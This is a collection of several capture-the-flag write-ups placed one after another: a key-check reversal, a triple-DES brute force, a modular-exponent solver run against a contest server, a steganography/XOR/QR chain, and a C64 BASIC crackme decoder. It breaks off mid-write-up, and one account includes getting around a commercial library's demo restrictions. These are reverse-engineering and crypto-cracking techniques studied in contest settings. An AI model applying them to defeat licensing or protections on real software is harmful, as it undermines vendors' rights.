color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# RE-01 WhiteHat.exe (100 Points) This challenge is pretty straight forward asks for a key and gives us a flag. So I analyze the binary using IDA and found that at sub_40138F all the exciting stuff goes on. Overall Key Verification idea is : ```first_xor = []for v,k in zip(val,key): if (val.index(v) % 2): first_xor.append(chr(ord(v) ^ ord(k))) else: first_xor.append(chr(ord(v))) add_and_xor = []for k,f in zip(key,first_xor): add_and_xor.append(chr((ord(k) + ord(f)) ^ day)) second_xor = [chr(year ^ ord(v)) for v in first_xor]``` This verification is defeated to get the key in this way : ```rev_first_xor = [chr(year ^ f ^ ord(v)) for f,v in zip(final,val)] for i in range(len(val)): if i % 2 == 0: rev_first_xor[i] = val[i] key = "".join([i for i in rev_first_xor])``` After entering the correct key. The executable drop two files named 2.exe and b.dll in %temp% folder (sub_40111D) and runs the 2.exe using CreateProcessA with "564" as CLA. After analyzing 2.exe we see that it checks for the parent process ID and must be named to "WhiteHat" if this so it drops the flag.dll in %temp% folder. But wait this flag.dll is not actually a PE file. By seeing it's header we get that it is an PNG file. By changing the extension to .png we get our flag. ## FLAG : today is good day
This is a __brute force__ attack on the secret key given a reduced search space. ```pythonimport calendarimport time from trippleFUN import des, DECRYPT d = des()def decrypt(key, text): return d.run(key, text, DECRYPT) # Friday, August 17, 2018 12:00:00 AMcurr_IV = 1534464000 message= "|\xb3Wm\x83\rE7h\xe3\xc0\xf1^Y\xf0\x8d\xa6I\x92\x9b\xa5\xbc\xdc\xca\x9d\xcd\xe9a0\xa3\x00\xf2\x13\x16]|\xae\xd8\x84\x88"while True: curr_IV -= 1 IV = str(curr_IV)[-8:] plain = decrypt(IV,decrypt(IV,decrypt(IV,message))) if 'd4rk' in plain: print(plain) break ```
# Misc 04 (misc, 140p, 36 solved) In the task we get access to an application: ``` Wellcom to Friendly face challengeAccording to experts, the formula for measuring the friendliness of a face is (lip point**nose point)**(eyes point**forehead point) mod Face_index Now play!------------------------------Stage 1--------------------------------------Face_index: 9928546Face Lip point Nose point Eyes point Forehead point :-) 568824892 457742011 941012180 253144504 (';') 23952035 628931911 972045092 777026341 (=^..^=) 686029537 64319452 611190375 112129192 :) 617374078 81959857 20649197 24703650 :-] 280039606 627778866 988980689 684158291 :] 60783119 594342583 347303300 539141757 :-3 321261378 928676123 34262697 822086619 :3 321223152 802095261 306245331 746806683 :-> 267149366 274650373 453784293 155962876 :> 147037766 878265535 332179064 544535138 :-* 282364953 414082899 798987403 764105746 :* 583265502 889346653 407539632 137243339 (>_<) 133984875 66646715 716020719 488324317 (>_<)> 727687008 366192925 114776444 54859934 (';') 437962554 268054657 936090419 377085453 (^_^;) 964356686 583217140 860994507 930144447 (-_-;) 574103967 483119825 355139943 678768494 (~_~;) 389800758 803218695 435535853 239965696 (...;) 359662407 610432925 642837810 772797892 (._.;) 509720900 307969711 80913034 958275474 ^_^; 859083357 536473752 783709719 414574837 (#^.^#) 557456218 753671213 649539972 266160251 (^^;) 140043688 782606707 915951984 913136529 (-_-)zzz 866318536 905466702 220292777 185393572 (^_-) 445063898 96616021 982269754 18154 ((+_+)) 792421359 230028929 670678620 542664022 (+o+) 902780243 773999795 696449166 573196057 ^_^ 482459943 486150568 797684171 883635208 (^_^)/ 194918846 505240052 344925190 628519414 (=_=) 204409002 470486904 847693668 200782527 (?_?) 641072342 281225817 293240755 321003907 (^_^) 324078528 889045681 483983051 103283684 (~o~) 57590473 618155926 389926985 4295912 (~_~) 480720695 535339640 709805607 130080855 o.O 88139622 584724341 528917361 868022901 (o.o) 31773824 321278395 230937564 139287394 oO 929305518 457021266 885282508 821646046 <_< 483063468 713769808 6404138 983646898 >_> 86259272 495387210 523761674 655522004 <o?o> 352569223 806985052 405453886 96888458 (>^.^) 13446885 781237903 842345802 967302054 (^.^<) 155704256 872607202 492051377 40621810 >,< 589494855 375474890 12910056 55721531 ;-( 445793591 485056031 42055133 264070003 >:-( 273791760 575559835 149683227 202477348 @(-_-)@ 385413303 476361140 733303627 988872984 @(^_^)@ 162219164 322345611 136067195 835475504 ~O-O~ 871128442 534455323 132275419 372845099 :)] 789516425 636339074 530573592 89693503 .-] 720189903 767600763 32801237 62540911 .-) 526402082 503564697 735408367 406646597 ,-) 284230473 377456495 171934951 584351302 ':-( 934728851 411860493 740283917 152086679 '-) 296992354 721230115 853558354 582693347 :-D 611619258 364242222 775590048 18022636 :=) 149406960 655734808 401841140 420418918 :@ 524904631 323701516 445590058 166023135 <:-P 90295722 328295842 900424357 455755334 :)>- 860279369 879340025 531178009 275273365 :^) 998244997 568869594 564026954 915507847 3:] 627467503 261246151 519795303 424916420 (o^-^o) 127803732 820062459 77131195 633921273 :-< 503659779 716296684 790584903 993366886 :-[ 596497706 233554771 660617582 380800144 =:-) 330896284 451246310 901770941 803795916 :-)) 722082675 530353406 720006166 914873545 <(-_-)> 436096951 167519805 895912006 597810060 9_9 182635947 968356305 365764220 374100297 =)) 357705508 909193878 176866598 126632317 7:) 52189358 812712480 882190330 90405608 (<_>) 992091929 126117984 520145161 784652516 :-( 958493227 371815292 156487035 318488198 /:-) 798055879 768101151 854110711 293863015 (-_-) 247572818 96884158 225496762 524371879 :-* 476938541 184608385 859713180 38362037 ::=)) 217212770 475918153 8001010 52368247 o_o 960321847 777557966 370232776 603559555 (*^_^*) 164917508 497580071 304718977 778749984 (-::-) 135600425 591552662 411230811 844033074 (^o^) 114043599 267851809 764197233 729657426 :o) 77033635 724309071 532256499 650125580 :|) 92133304 673460316 661186700 844697945 :) 341143663 291599585 224605429 514213089 :-) 616261301 602862592 150890219 603786555 +:-) 413093363 228415667 18326665 17079145 (:-) 584187072 634395735 223113532 45382578 {:-) 343750287 1908872 702997957 311091423 ^&^ 529079589 574938394 233399359 117832407 =.= 577014898 409511688 354573727 22364817 *~* 196610398 165376804 497915681 485447329 (:>-< 804706985 474755647 535797022 259962366 :-)--- 860526346 688746022 263287692 724472915 *-) 221928355 887834546 690209569 140649690 >:* 707429706 361667628 890981899 628576789 >.< 478256657 679452160 427569933 398252856 :-@ 842685569 29408161 399813077 195286593 (:)-) 113217668 630504653 722567738 220013519 ::-) 628424516 717349638 437425785 947963941 :-@ 200636705 54273079 500779926 631110356 @,.,@ 825607979 674708189 134882532 860611414 :-E 817325600 356562506 392950183 347761068 :-[ 390102746 649147663 973292798 37327144 :-)) 915390296 615745566 588286121 438513696 :-[] 350818957 706941720 99500462 444421129 :-))) 624037961 151807502 848569245 7192210 (:- 406777048 375986160 967616861 522557149 $_$ 153721779 510099055 549303633 537910630 (^:^) 382883033 599595304 18464969 317011415 |___| 450066663 771458013 361548329 929201245 :-) 988605304 120169270 719780182 198013944 >O< 62694268 154947217 61736412 370202519 :=) 139611307 27068908 347349262 802145594 -:-) 711270769 958899932 320121022 25695782 |:-) 902903753 847237435 370638588 515861385 <(^.^<) 36414441 29167376 972164958 643757408 <(*.*<) 44726993 507681673 93259730 375999094 (*_*) 660115130 36934065 950811076 706589789 ._. 656708457 60027297 874367948 436077729 @:-) 904147006 657729620 590037586 614605662 <('.')> 22338651 744151297 421884827 680423420 <('.'<) 915666254 755172274 357152642 71468540 <(^.^)> 761583139 274093669 579566114 968424306 <('.'<) 1846023 999575088 416255614 542189089 :-* 61411542 934130467 317698883 862889327 (:-* 538367672 206718285 784199878 929721277 =^.^= 38191813 444179562 50803550 607621511 <{::}> 762261539 665199139 29749796 589314027 :-D 813417897 516749674 198678296 492384881 :)) 692507260 933243641 910076492 177113479 :.-) 706350257 208220064 561827765 973675855 (-: 460728977 389190842 848053504 746993263 >;-> 2871890 469626441 251807800 158741716 :^o 861438792 24236048 616330095 273007266 :-9 959789499 631364945 414035584 939194517 So, what is the most friendly face?``` It's quite clear what we need to do: calculate `(lip point**nose point)**(eyes point**forehead point) mod Face_index` for each of the emojis and then send back to the server the one with highest score. First optimization we can do is trivial, and comes directly from modular arithmetics: `(a**b) mod n = ((a mod n)**b) mod n` And of course `pow(a,b,n)` is much faster than `a**b` to calculate.The real struggle is the second part - how to optimize calculation of `b`. After a while we came up with an idea, that if certain conditions were met, we could actually use Euler theorem here.Euler theorem says that if `a` and `n` are `co-prime` then `a**phi(n) mod n = 1`.This is useful, because `1**x` is always 1. This would mean, that we could simplify our `b` to `b mod phi(n)`. For example we want to calculate `7**222 mod 10`: 1. `phi(10) = (2-1)*(5-1) = 4`2. `7**222 mod 10 = 7**(4*55) * 7**2 mod 10 = (7**4 mod 10)**55 * 7**2 mod 10 = 1**55 * 7**2 mod 10 = 7**2 mod 10`3. We could also simply notice that `222 mod 4 = 2` and thus `7**222 mod 10 = 7**2 mod 10` We can apply the same logic here, and re-write the equation: ```(lip point**nose point) = a(eyes point**forehead point) = bFace_index = n (lip point**nose point)**(eyes point**forehead point) mod Face_index = a**b mod na**b mod n = (a mod n)**b mod na**b mod n = a**(b mod phi(n)) mod n a**b mod n = (a mod n)**(b mod phi(n)) mod n = pow(a%n, b%phi(n), n)a**b mod n = pow(pow(lip point, nose point, Face_index), pow(eyes point, forehead point, phi(Face_index)), mod Face_index)```` Keep in mind, this is all true only if `a` and `n` are `co-prime`, but we simply assumned they would be.Solver written in python is: ```pythonimport re from crypto_commons.generic import factorfrom crypto_commons.netcat.netcat_commons import nc, receive_until_match, sendfrom crypto_commons.rsa.rsa_commons import get_fi_repeated_prime def main(): s = nc("misc04.grandprix.whitehatvn.com", 1337) while True: data = receive_until_match(s, "So, what is the most friendly face\?", 5.0) print(data) modulus = int(re.findall("Face_index: (\d+)", data)[0]) primes = factor(modulus)[0] phi = 1 for prime in set(primes): k = primes.count(prime) phi *= get_fi_repeated_prime(prime, k) max = (0, "") for dataset in re.findall("(.*?)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)", data): face, lip, nose, eye, fore = dataset a = pow(int(lip), int(nose), modulus) b = pow(int(eye), int(fore), phi) result = pow(a, b, modulus) if result > max[0]: max = (result, face) print("sending", max) send(s, max[1]) send(s, str(max[0])) pass main()``` Which gives us: `WhiteHat{^.^_M4th_Math_Chin3se_Rema1nder_The0rem_&_Euler's_ThEorem_M@th_MAth_^/^}`
View at the original location: https://neg9.org/news/2018/8/20/openctf-2018-stegoxor-writeup By banAnna This challenge came with a single jpg file (renamed stego.jpg) that was an unremarkable picture of a computer screen. To this file I ran: ```$ steghide –extract -sf stego.jpg``` using an empty passphrase when prompted. This produced a files.tar archive, which I then extracted 2 files from: ```HACKER.TXT: text file qr.xor. data file``` At first I wasn’t sure what to do with HACKER.TXT, when I opened it with a text editor, some characters could not be displayed. Was this a clue, a diversion, or by design? The qr.xor file seemed like I should do something to it in order to get a QR code and the obvious choice was an xor operation. So I scripted up something to read in all the bytes of the file, xor them with the key and then write them all back out. Since I didn’t know what the key was, I looped thru 0x00 – 0xFF, however this did not produce any results. Next, I decided to xor the 2 files (qr.xor and HACKER.TXT) against each other, byte by byte (at least up to the last byte of the smallest file) and then write out the results to another file. The following is the python script that I used: ```with open('qr.xor', "rb") as f1: with open('HACKER.TXT', "rb") as f2: bytes1 = f1.read() xor = bytearray() for byte in bytes1: ord1 = ord(byte) ord2 = ord(f2.read(1)) xor.append(ord1 ^ ord2) fout = open('hackerqr', 'wb') fout.write(xor)``` This produced a QR code in jpg format. I pulled up a QR reader on the web and read in my new file to decode. The decoding was a long string of base64. With this string I opened up a python terminal and ran the following in python: ```import base64 s = '<insert base64>'s_out = base64.b64decode(s)f = open('new', "wb")f.write(s_out)f.close()``` This produced another QR code in a png file format. So again I went back to the QR online code reader and read in this new.png file, which again gave me a base64 string. With this string I followed the same method as above and produced a new file with the output. This new file (file3), was simply a text file, so I ‘cat’ted it to the screen. This produced another QR code, this one done as ascii art. Now this produced a problem, because you couldn’t exactly send ascii art to the online QR code readers. Hoping that this would be the final flag, we attempted to read the code on my screen with a cell phone app, but none that we tried could read it in. Instead, I took a screenshot of my screen, cropped it in gimp and then read this into the online QR code reader. However, this time it could not decode the image, even after trying several different ones. After further inspection, it turns out that the QR code was actually a micro QR code, which is much less supported, but even those utilities that said it could read one, still could not. We tried another cell phone app that said it could read micro QR and we also tried making the background of the image white rather than grey, but nothing produced any results. After hitting a dead end trying to scan in the image, we started looking for software that could decode it. I found one in particular that looked promising, called libQRCode. I downloaded their demo version for Linux (license costs $200) and ran their demo decoding program with our file. It successfully read it and decoded it, but...it * out part of the results since this was only the free version. We were able to see half the flag but we were still missing 7 characters. After some unsuccessful attempts to see the full un-obfuscated string in memory with gdb, another team member downloaded the Windows demo version of their software. This version had a demo program that did not ask for a file to decode, it simply decoded sample images that were included. All we had to do was nuke one of the sample images and rename our image to that sample’s name, rerun the program and voila, we had the flag.
## General problem description ```You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator.``` We got an old .prg file, which is a C64 program file. ## Parsing the file First we tried using parsers that exist in the wild, that would parse the file for us, but that proved to be not effective, as there were not many and they didn't work very well, so we wrote our own parser. Fortunately the file format is not very difficult.Here is the parser in python:```pythonimport binasciidecode_char = [ u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uF100',u'\uFFFD',u'\uFFFD',u'\uF118',u'\uF119',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\u000D',u'\u000E',u'\uFFFD', u'\uFFFD',u'\uF11C',u'\uF11A',u'\uF120',u'\u007F',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uF101',u'\uF11D',u'\uF102',u'\uF103', u'\u0020',u'\u0021',u'\u0022',u'\u0023',u'\u0024',u'\u0025',u'\u0026',u'\u0027',u'\u0028',u'\u0029',u'\u002A',u'\u002B',u'\u002C',u'\u002D',u'\u002E',u'\u002F', u'\u0030',u'\u0031',u'\u0032',u'\u0033',u'\u0034',u'\u0035',u'\u0036',u'\u0037',u'\u0038',u'\u0039',u'\u003A',u'\u003B',u'\u003C',u'\u003D',u'\u003E',u'\u003F', u'\u0040',u'\u0061',u'\u0062',u'\u0063',u'\u0064',u'\u0065',u'\u0066',u'\u0067',u'\u0068',u'\u0069',u'\u006A',u'\u006B',u'\u006C',u'\u006D',u'\u006E',u'\u006F', u'\u0070',u'\u0071',u'\u0072',u'\u0073',u'\u0074',u'\u0075',u'\u0076',u'\u0077',u'\u0078',u'\u0079',u'\u007A',u'\u005B',u'\u00A3',u'\u005D',u'\u2191',u'\u2190', u'\u2501',u'\u0041',u'\u0042',u'\u0043',u'\u0044',u'\u0045',u'\u0046',u'\u0047',u'\u0048',u'\u0049',u'\u004A',u'\u004B',u'\u004C',u'\u004D',u'\u004E',u'\u004F', u'\u0050',u'\u0051',u'\u0052',u'\u0053',u'\u0054',u'\u0055',u'\u0056',u'\u0057',u'\u0058',u'\u0059',u'\u005A',u'\u253C',u'\uF12E',u'\u2502',u'\u2592',u'\uF139', u'\uFFFD',u'\uF104',u'\uFFFD',u'\uFFFD',u'\uFFFD',u'\uF110',u'\uF112',u'\uF114',u'\uF116',u'\uF111',u'\uF113',u'\uF115',u'\uF117',u'\u000A',u'\u000F',u'\uFFFD', u'\uF105',u'\uF11E',u'\uF11B',u'\u000C',u'\uF121',u'\uF106',u'\uF107',u'\uF108',u'\uF109',u'\uF10A',u'\uF10B',u'\uF10C',u'\uF10D',u'\uF11D',u'\uF10E',u'\uF10F', u'\u00A0',u'\u258C',u'\u2584',u'\u2594',u'\u2581',u'\u258F',u'\u2592',u'\u2595',u'\uF12F',u'\uF13A',u'\uF130',u'\u251C',u'\uF134',u'\u2514',u'\u2510',u'\u2582', u'\u250C',u'\u2534',u'\u252C',u'\u2524',u'\u258E',u'\u258D',u'\uF131',u'\uF132',u'\uF133',u'\u2583',u'\u2713',u'\uF135',u'\uF136',u'\u2518',u'\uF137',u'\uF138', u'\u2501',u'\u0041',u'\u0042',u'\u0043',u'\u0044',u'\u0045',u'\u0046',u'\u0047',u'\u0048',u'\u0049',u'\u004A',u'\u004B',u'\u004C',u'\u004D',u'\u004E',u'\u004F', u'\u0050',u'\u0051',u'\u0052',u'\u0053',u'\u0054',u'\u0055',u'\u0056',u'\u0057',u'\u0058',u'\u0059',u'\u005A',u'\u253C',u'\uF12E',u'\u2502',u'\u2592',u'\uF139', u'\u00A0',u'\u258C',u'\u2584',u'\u2594',u'\u2581',u'\u258F',u'\u2592',u'\u2595',u'\uF12F',u'\uF13A',u'\uF130',u'\u251C',u'\uF134',u'\u2514',u'\u2510',u'\u2582', u'\u250C',u'\u2534',u'\u252C',u'\u2524',u'\u258E',u'\u258D',u'\uF131',u'\uF132',u'\uF133',u'\u2583',u'\u2713',u'\uF135',u'\uF136',u'\u2518',u'\uF137',u'\u2592' ] token = ["END", "FOR", "NEXT", "DATA", "INPUT#", "INPUT", "DIM", "READ", "LET", "GOTO", "RUN", "IF", "RESTORE", "GOSUB", "RETURN", "REM", "STOP", "ON", "WAIT", "LOAD", "SAVE", "VERIFY", "DEF", "POKE", "PRINT#", "PRINT", "CONT", "LIST", "CLR", "CMD", "SYS", "OPEN", "CLOSE", "GET", "NEW", "TAB(", "TO", "FN", "SPC(", "THEN", "NOT", "STEP", "+", "-", "*", "/", "power", "AND", "OR", ">", "=", "<", "SGN", "INT", "ABS", "USR", "FRE", "POS", "SQR", "RND", "LOG", "EXP", "COS", "SIN", "TAN", "ATN", "PEEK", "LEN", "STR$", "VAL", "ASC", "CHR$", "LEFT$", "RIGHT$", "MID$", "GO"] ptr = 0def parsecommand(f): global ptr s = "" while True: c = f.read(1) ptr += 1 if len(c) == 0: return s byte = ord(c) if byte >= 0x80 and byte <= 0xCB: s = s + token[byte - 0x80] continue elif byte == 0x00: return s s = s + decode_char[byte] with open("crackme.prg", "rb") as f: ptr = int(binascii.hexlify(f.read(2)[::-1]), 16) print("Mapping Offset %x" % ptr) while True: nextoffset = f.read(2)[::-1] if len(nextoffset) < 2: break print ("%x" % ptr) + " -> " + binascii.hexlify(nextoffset) ptr += 2 label = f.read(2) if len(label) < 2: break lab = int(binascii.hexlify(label[::-1]), 16) ptr += 2 print str(lab) + " " + parsecommand(f)``` ## Patching the binaryWe looked at the code and saw that this command:```basic2001 POKE 03397, 00069 : POKE 03398, 00013```Considering that the binary is mapped at memory position 0x801, this command actually modifies the program memory.There is also a second such command:```basic2001 POKE 03397, 00069 : POKE 03398, 00013```These two do not do anything except manipulate the next-pointer of a comment. The next few pairs of commands, that we can recognize as important are of the form:```c642004 ES = 03741 : EE = 04981 : EK = 1482005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT I```They loop over program memory and change it. We Wrote a script, that patches these memory locations, so we can parse the decoded memory.The code for this was:```pythondef patchbinary(f1, f2, fr, to, l): with open(f1, "rb") as f: data = f.read() offset = data[:2] ptr = int(binascii.hexlify(offset[::-1]), 16) fr -= ptr to -= ptr data = data[2:] pre = data[:fr] topatch = data[fr:to] post = data[to:] res = "" for c in topatch: res = res + l(c) with open(f2, "wb") as file2: file2.write(offset + pre + res + post) #2001 POKE 03397, 00069 : POKE 03398, 00013patchbinary("crackme.prg", "crackme2.prg", 3397, 3398, lambda x: chr(199))patchbinary("crackme2.prg", "crackme2.prg", 3398, 3399, lambda x: chr(13))#2001 POKE 03397, 00069 : POKE 03398, 00013patchbinary("crackme2.prg", "crackme2.prg", 3397, 3398, lambda x: chr(69))patchbinary("crackme2.prg", "crackme2.prg", 3398, 3399, lambda x: chr(13))#2004 ES = 03741 : EE = 04981 : EK = 148#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 3741, 4982, lambda x: chr((ord(x) + 148) & 0xff))#2004 ES = 05363 : EE = 06632 : EK = 152#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 5363, 6633, lambda x: chr((ord(x) + 152) & 0xff))#2004 ES = 07014 : EE = 08219 : EK = 165#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 7014, 8220, lambda x: chr((ord(x) + 165) & 0xff))#2004 ES = 08601 : EE = 09868 : EK = 184#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 8601, 9869, lambda x: chr((ord(x) + 184) & 0xff))#2004 ES = 10250 : EE = 11483 : EK = 199#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 10250, 11484, lambda x: chr((ord(x) + 199) & 0xff))#2004 ES = 11865 : EE = 13107 : EK = 240#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 11865, 13108, lambda x: chr((ord(x) + 240) & 0xff))#2004 ES = 13489 : EE = 14760 : EK = 249#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 13489, 14761, lambda x: chr((ord(x) + 249) & 0xff))#2004 ES = 15142 : EE = 16351 : EK = 132#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 15142, 16352, lambda x: chr((ord(x) + 132) & 0xff))#2004 ES = 16733 : EE = 17975 : EK = 186#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 16733, 17976, lambda x: chr((ord(x) + 186) & 0xff))#2004 ES = 18360 : EE = 19633 : EK = 214#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 18360, 19634, lambda x: chr((ord(x) + 214) & 0xff))#2004 ES = 20020 : EE = 21265 : EK = 245#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 20020, 21266, lambda x: chr((ord(x) + 245) & 0xff))#2004 ES = 21652 : EE = 22923 : EK = 203#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 21652, 22924, lambda x: chr((ord(x) + 203) & 0xff))#2004 ES = 23310 : EE = 24584 : EK = 223#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 23310, 24585, lambda x: chr((ord(x) + 223) & 0xff))#2004 ES = 24971 : EE = 26178 : EK = 237#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 24971, 26179, lambda x: chr((ord(x) + 237) & 0xff))#2004 ES = 26565 : EE = 27837 : EK = 192#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 26565, 27838, lambda x: chr((ord(x) + 192) & 0xff))#2004 ES = 28224 : EE = 29471 : EK = 157#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 28224, 29472, lambda x: chr((ord(x) + 157) & 0xff))#2004 ES = 29858 : EE = 31101 : EK = 158#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 29858, 31102, lambda x: chr((ord(x) + 158) & 0xff))#2004 ES = 31488 : EE = 32761 : EK = 235#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 31488, 32762, lambda x: chr((ord(x) + 235) & 0xff))#2004 ES = 33148 : EE = 34367 : EK = 143#2005 FOR I = ES TO EE : K = ( PEEK(I) + EK ) AND 255 : POKE I, K : NEXT Ipatchbinary("crackme2.prg", "crackme2.prg", 33148, 34368, lambda x: chr((ord(x) + 143) & 0xff))``` All decoded sections have the form of:```basic2010 v = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : g = 02020 ba = ASC( MID$(p$, 1, 1) )2021 bb = ASC( MID$(p$, 2, 1) )2025 p0 = 0:p1 = 0:p2 = 0:p3 = 0:p4 = 0:p5 = 0:p6 = 0:p7 = 0:p8 = 0:p9 = 0:pa = 0:pb = 0:pc = 02030 IF ba AND 1 THEN p0 = 0.0625000000018189894035458564758300781252031 IF ba AND 2 THEN p1 = 0.01562500000045474735088646411895751953122032 IF ba AND 4 THEN p2 = 0.00390625000011368683772161602973937988282033 IF ba AND 8 THEN p3 = 0.00097656250002842170943040400743484497072034 IF ba AND 16 THEN p4 = 0.00024414062500710542735760100185871124272035 IF ba AND 32 THEN p5 = 0.00006103515625177635683940025046467781072036 IF ba AND 64 THEN p6 = 0.00001525878906294408920985006261616945272037 IF ba AND 128 THEN p7 = 0.00000381469726573602230246251565404236322040 IF bb AND 1 THEN p8 = 0.00000095367431643400557561562891351059082031 IF bb AND 2 THEN p9 = 0.00000023841857910850139390390722837764772032 IF bb AND 4 THEN pa = 0.00000005960464477712534847597680709441192033 IF bb AND 8 THEN pb = 0.0000000149011611942813371189942017736032034 IF bb AND 16 THEN pc = 0.00000000372529029857033427974855044340072050 k = v + p0 + p1 + p2 + p3 + p4 + p5 + p6 + p7 + p8 + p9 + pa + pb + pc2060 g = 0.6715657063760172100 t0 = k = g : a = 86 : b = 102200 IF t0 = -1 THEN a = 83 : b = 52210 POKE 1024 + chkoff + 1, 90````ASC( MID$(p$, 1, 1) )` selects the first char and converts it into a number.From what we can gather the code adds values to `v` depending if certain bits are set in the converted chars of the input. Then there is a compare with value `g`. THe problem here is, that the values can never add up to `g` no mather the combination. At first this was confusing, but computers when working with floating point may not be accurate. So what we tried to do was to be as accurate as possible and just go with that. When working with the values we did not actually use floating point numbers, but python integers. They do not have a size limit we need to worry about, so we converted the floating point numbers to integers like this: `0.6666666666612316235641 -> int("6666666666612316235641".ljust(50, '0'))`. So we append 0s on the right side of the number until they have a length of 50. This means all our numbers are strings of length 50, which we can now transform to integers. This means we do not loose precision. Now we need to choose the best values for `p0` - `pc` so that the sum + `v` best matches `g`. We used this algorithm to solve the problem:```pythondef solve_eq(koeff, v): sol = [] for k in koeff: if abs(v - k) > v: sol.append(0) else: v -= k sol.append(1) print v return sol``` When going through all decoded sections we can see that the only values, that diverge from the first block are `v` and `g`. We extracted all values and solved all bits of the solution:```arr = []p = [int("062500000001818989403545856475830078125".ljust(50, '0')), int("0156250000004547473508864641189575195312".ljust(50, '0')), int("0039062500001136868377216160297393798828".ljust(50, '0')), int("0009765625000284217094304040074348449707".ljust(50, '0')), int("0002441406250071054273576010018587112427".ljust(50, '0')), int("0000610351562517763568394002504646778107".ljust(50, '0')), int("0000152587890629440892098500626161694527".ljust(50, '0')), int("0000038146972657360223024625156540423632".ljust(50, '0')), int("0000009536743164340055756156289135105908".ljust(50, '0')), int("0000002384185791085013939039072283776477".ljust(50, '0')), int("0000000596046447771253484759768070944119".ljust(50, '0')), int("000000014901161194281337118994201773603".ljust(50, '0')), int("0000000037252902985703342797485504434007".ljust(50, '0'))] v = int("6666666666612316235641".ljust(50, '0')) - int("00000000023283064365386962890625".ljust(50, '0'))k = int("671565706376017".ljust(50, '0'))arr.extend(solve_eq(p, k - v)) k = int("682612358126820".ljust(50, '0'))arr.extend(solve_eq(p, k - v)) v = int("6666666666612316235641".ljust(50, '0'))k = int("682552023325146".ljust(50, '0'))arr.extend(solve_eq(p, k - v)) v = int("6666666666612316235641".ljust(50, '0')) - int("00000000023283064365386962890625".ljust(50, '0'))k = int("667647300753773".ljust(50, '0'))arr.extend(solve_eq(p, k - v)) v = int("6666666666612316235641".ljust(50, '0'))k = int("682310803327740".ljust(50, '0'))arr.extend(solve_eq(p, k - v)) ... def frombits(bits): chars = [] for b in range(len(bits) / 8): byte = bits[b*8:(b+1)*8] chars.append(chr(int(''.join([str(bit) for bit in byte]), 2))) return ''.join(chars)s = ""for i in range(0, len(arr), 8): s = s + frombits(arr[i:i + 8][::-1])print ```Executing this program gives us `LINKED-LISTS-AND-40-BIT-FLOATS` which makes the flag `CTF{LINKED-LISTS-AND-40-BIT-FLOATS}`
Author: erfur Date: Tue Aug 21 08:30:46 +03 2018 # Hackcon 2018 - Anti RE Analyzing the binary, what we get is a main loop with several similar branches. After looking at all the branches I realized that they each do one simple operation. Only after getting the flag I understood the fact that this was a virtual machine implementation. The virtual code is fixed, meaning that the same procedure is executed each time the app is run. Instructions are in one of the following two formats: ```1. instruction code + dstaddr + srcaddr (1 byte) (1 byte) (1 byte)``` or ```2. instruction code + dstaddr + value (1 byte) (1 byte) (4 bytes)``` Some things to consider:- Memory is accessed as 4 bytes of blocks.- Virtual memory starts at [rsp+188h].- Real memory being accessed is [rsp+188h+4*addr].- Our input is stored at the first 16 bytes of virtual memory. There are 8 different instructions, each performing a differentoperation: ```CODE OP 